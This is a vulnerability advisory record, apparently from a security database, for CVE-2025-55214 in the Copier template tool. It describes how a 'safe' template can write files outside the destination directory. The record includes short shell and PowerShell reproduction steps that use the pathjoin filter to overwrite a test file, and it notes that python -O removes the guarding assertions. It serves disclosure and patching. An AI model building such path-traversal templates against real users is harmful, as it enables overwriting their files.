{"id":"CVE-2025-55214","aliases":["GHSA-p7q8-grrj-3m8w","PYSEC-2026-1273"],"url":"https://o3.security/vulnerability/CVE-2025-55214","summary":"Copier safe template has filesystem write access outside destination path","details":"### Impact\n\nCopier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently write files outside the destination path where a project shall be generated or updated. This is possible when rendering a [generated directory structure](https://copier.readthedocs.io/en/stable/configuring/#generating-a-directory-structure) whose rendered path is either a relative parent path or an absolute path. Constructing such paths is possible using Copier's builtin `pathjoin` Jinja filter and its builtin `_copier_conf.sep` variable, which is the platform-native path separator. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.\n\n#### Write access via generated relative path\n\nReproducible example:\n\n```shell\necho \"foo\" > forbidden.txt\nmkdir src/\necho \"bar\" > \"src/{{ pathjoin('..', 'forbidden.txt') }}\"\nuvx copier copy src/ dst/\ncat forbidden.txt\n```\n\n#### Write access via generated absolute path\n\nReproducible example:\n\n- POSIX:\n\n    ```shell\n    # Assumption: The current working directory is `/tmp/test-copier-vulnerability/`\n    echo \"foo\" > forbidden.txt\n    mkdir src/\n    echo \"bar\" > \"src/{{ pathjoin(_copier_conf.sep, 'tmp', 'test-copier-vulnerability', 'forbidden.txt') }}\"\n    uvx --from copier python -O -m copier copy --overwrite src/ dst/\n    cat forbidden.txt\n    ```\n\n- Windows (PowerShell):\n\n    ```powershell\n    # Assumption: The current working directory is `C:\\Users\\<user>\\Temp\\test-copier-vulnerability`\n    echo \"foo\" > forbidden.txt\n    mkdir src\n    Set-Content -Path src\\copier.yml @'\n    drive:\n      type: str\n      default: \"C:\"\n      when: false\n    '@\n    echo \"bar\" > \"src\\{{ pathjoin(drive, 'Users', '<user>', 'Temp', 'test-copier-vulnerability', 'forbidden.txt') }}\"\n    uvx --from copier python -O -m copier copy --overwrite src dst\n    cat forbidden.txt\n    ```\n\nThis scenario is slightly less severe, as Copier has a few [assertions of the destination path being relative](https://github.com/copier-org/copier/blob/d106ea543fd26e1ac1b9a3dcef3e99cc70fdf57c/copier/_main.py#L747) which would typically be raised. But `python -O` (or `PYTHONOPTIMIZE=x`) removes asserts, so these guards may be ineffective. In addition, this scenario will prompt for overwrite confirmation or require the `--overwrite` flag for non-interactive mode; yet malicious file writes might go unnoticed.","published":"2025-08-18T16:36:46.621Z","modified":"2026-08-12T03:51:18.209310171Z","cvss":null,"epss":{"score":0.00264,"percentile":0.18535,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"copier","fixedVersion":"9.9.1"}],"fix":{"url":"https://github.com/copier-org/copier/commit/fdbc0167cc22780b497e4db176feaf6f024757d6","label":"copier-org/copier@fdbc016"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/55xxx/CVE-2025-55214.json"},{"type":"ADVISORY","url":"https://github.com/copier-org/copier/security/advisories/GHSA-p7q8-grrj-3m8w"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-55214"},{"type":"FIX","url":"https://github.com/copier-org/copier/commit/fdbc0167cc22780b497e4db176feaf6f024757d6"},{"type":"PACKAGE","url":"https://github.com/copier-org/copier"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:18.209310171Z"}}